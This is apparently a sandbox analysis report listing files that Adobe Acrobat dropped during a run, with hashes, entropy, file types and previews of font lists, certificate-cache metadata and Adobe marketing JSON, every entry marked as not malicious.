SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl6VDtfllXlE/HT8kymhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKjFeT8y3NMa8RdWBwRd
MD5:	BB3C35D0D51079519D3917207812FD5A
SHA1:	39B278AD922F0316E90A0D808A985AAEB26D4704
SHA-256:	C56F37A52A3960371312A4F99F25934541F1629EA19F49C9C1397DE2789829AA
SHA-512:	156786C1A9F60337CCAC92C13AA7246F2FC7A821A3F653D49C69990572BE91ED51668CC6B1587AE16265262462C777F2B19B82AF589A4E4F161B1EA3D54CC5D1
Malicious:	false
Preview:	p...... ........I.L~.c..(....................................................... ..........W.....g..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKlanM/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:msiDnLNkPlE99SNxAhUe/3
MD5:	A32BEAA0D65E80569CC5A95649B9C9EC
SHA1:	A37CB255EF620E0C35518FAFFB44B8FA82DE25F8
SHA-256:	802A402067DFDBFC7A47F053A2263D2C1681F662D936F141987F595380C5175E
SHA-512:	DE8A689225BB4BCCE5E84DA336ED6D23E4FC46A6D6C191764CE85D95E164E4BC479604D6DB7E1701CA0C4794ECE72A0F819A51D76F393F91939EE55C1C131AC7
Malicious:	false
Preview:	p...... .........%...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5272

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5272

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35423473953786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJM3g98kUwPeUkwRe9:YvXKXavzKvR/ZwHAOZGMbLUkee9
MD5:	5C12843C8215EC2154743AFA3C2B2B2C
SHA1:	01331BDD31D4FE910CFC9F6ED082C7ED78270257
SHA-256:	0D0520FE90389710E04D57BF3E5DB41D03B824BAC8605ED58622C8166F8F1C3F
SHA-512:	4554DD988C71089FB2928E94C4CDD005794124092E2C1A21A948E0D712451F929E2CDFB94E3AB48C9B2D8E2570A7A344721CCAB3497F174523BDB97D8E36028A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292708838579496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfBoTfXpnrPeUkwRe9:YvXKXavzKvR/ZwHAOZGWTfXcUkee9
MD5:	5F6287C1E6616AFAE56EFB1CF52E5622
SHA1:	366E6F0A13FE7053030B15157D42063FBCD61990
SHA-256:	5498BBEEA73F712E5CF40B780F3C684C376E4361B7CC035EA91E4A4CA71BB920
SHA-512:	6ECF2F894006ABC08F23ABFB7A2522738E25A73FD51A99AE63D1952156FCD6D81298906F097F82EF2148E986BB2B2FFD41BC7AE1D9A3A67E18EF371A25AAB05D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271415052806375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfBD2G6UpnrPeUkwRe9:YvXKXavzKvR/ZwHAOZGR22cUkee9
MD5:	FE53D40A4A141836F0E0B9BBA2EE2653
SHA1:	1DCAA1A3527688C7084F77576151837E4407675D
SHA-256:	C61878647E5AC0007B90EBB4B329B6EC0D347192E5DBBADFF0675EE56ED73B6A
SHA-512:	06488E3D59FFDB637FA787839956881B4511E7A2671E6BB5B05B040154AAD30160121CFFE515DC55D3DC3BA9A55E57C82E90FBA69AF4004967EF0E98885AE191
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.330862982687389
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfPmwrPeUkwRe9:YvXKXavzKvR/ZwHAOZGH56Ukee9
MD5:	223313A6307533E17160DBE93477DD67
SHA1:	21C2C40C877968379B70EDA17F7FF9723166C688
SHA-256:	E96E689AD5BC2AC33A4A670C1E6BA846F1B7A613870AE2B557AB05BBE2C58A37
SHA-512:	E9A282971049EE03534A815DAC8907B8AE9704E3DB096F4E25089137590E1F3ACE14CEE10FF88602C5038A5695EB72AC3E3B85F82A6C62B069C37FA50BF1A297
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689773975708149
Encrypted:	false
SSDEEP:	24:Yv6XabKJhTpLgE9cQx8LennAvzBvkn0RCmK8czOCCS1:YvBKJhThgy6SAFv5Ah8cv/1
MD5:	A7D3DC22643BC1AB8A31E8972BE49E70
SHA1:	FC6A36812BCE2DF71F5E4FB7583C03C36673B14C
SHA-256:	BCACFF32B83A8D5B99CE86A5A0815C8E320FAED811CDBFC5C3E4885449B8A534
SHA-512:	F24B88C0300602E78DACA16C5DCD217F7E3FFD0F5645C88342DBD908E4B88EBA90F1D5A1660DE07CD968AF5267A33487539BA08210E781AC57B87847F4D84436
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282184958973457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJf8dPeUkwRe9:YvXKXavzKvR/ZwHAOZGU8Ukee9
MD5:	49BAEDD6903D2F7F98D7EF74C819E241
SHA1:	1A7B2E76AAE9AC525701D6E71CB416102F496003
SHA-256:	9B0B837D5E8F23972D25F9DB6F6C25B3ABCB3AF527838605E81569604CF784FE
SHA-512:	FB545FC170E7F2BC310999E7E7DE74FA9AF7C09C419257B278B586EF1783184E5F6469C4FD384523B4BC6BE06F964D748883A4147BD2361A7563E776F9752BA9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2813377572537625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfQ1rPeUkwRe9:YvXKXavzKvR/ZwHAOZGY16Ukee9
MD5:	0D6F928A7EFFFA03114C628B0EF246EB
SHA1:	F8F04CDC49EB8FA5A071E7725938B7C8C84C25E3
SHA-256:	2CEDAADB4C228A91669C981960DDA0B3FAF83A4112D3457CF887A6B0DBB0EC9D
SHA-512:	B9FEE70C3E79AA4BC34986C7379C578F525DDB6E7A4938F1AE9FD4EF83F0336EFA9A0CD81D450125B384536E12B3BDE4AAA0EDADAAF9EE1978CA6B0A13B65511
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298419009797501
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfFldPeUkwRe9:YvXKXavzKvR/ZwHAOZGz8Ukee9
MD5:	96EB0A83D164B9A237BF90FDA5FB0E3F
SHA1:	CEA6A779E214CA76B346E292FC1FAC807590D203
SHA-256:	25835B8C08C7AEF6D9715E8065F2AF3E8D3728819B3DEC35CEFB241E2F8A9763
SHA-512:	4C05A7C1C3A947CB178B89EF784A025BFA23471C0B5AA50849CDE0BA40B320F32241EDA9B1CAFF32B53C5E00F2CA85C0E8E3D24E6059FE7F79FDBF7D83D4870A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310093092406178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfzdPeUkwRe9:YvXKXavzKvR/ZwHAOZGb8Ukee9
MD5:	5BAFB6764FF1154FD739D1BD05A7CB05
SHA1:	215EB3BE79344E5D07D3FF75DAA0AEC7F86366DE
SHA-256:	A68DD90EE11B7604C7EC3670AF04C06E8470DA8BC5F5E8653CB11B4BF68CEA7D
SHA-512:	DBE3E9AB969AA60AD24D387CB2D6A8B54F5DF23EF1242E21FBAC714DE61A0409C20E21B3B35EEACA1AE854C7F2B97741D5CF3F240DC645394EE7DDE198698A4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2908218449850075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJfYdPeUkwRe9:YvXKXavzKvR/ZwHAOZGg8Ukee9
MD5:	270D374A9450C197AF565143BF5B8129
SHA1:	1FEF6F13DCE429F3C68D5FD20F3726DBD71F6C4D
SHA-256:	89710696BA083C6B41FCBFDC738CD9AFCA3D0BDDF5F04750186A7A37266DA8D8
SHA-512:	DB952EB0C36B6446437D1AC39CABB48225E10FD9E7C82E0318D26EAB82BD974406DAEA21D55B5795CABB9331C14DFB6FF6CF8EDAA8C9453928AE5F0886F1C105
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30b13548-b086-4c46-91ab-5a13b97ea9bb","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749514393,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.276710630571702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaVWP8z14vB3/dVlPIHAR0YCqoAvJf+dPeUkwRe9:YvXKXavzKvR/ZwHAOZG28Ukee9
MD5:	E792B1268999063D817B4CA9B9B2384E
SHA1:	1B7D004C3FEF1DD05481F87A286D6092500CFB81
SHA-256:	5893F1A377BD606E27DD1486A5FBFEEFBFFA8AE20FF9EC383F7506B64A542673
SHA-512:	30444AA9AB8BDB40505DD2C60078C5FCB5B8DA08E94F92B2491881597D5AB843B440477D3A3E5DD841EC1BC7EDC79D521F9E995BB8ABC5685178D1EA1E20D9A5
Malicious:	false
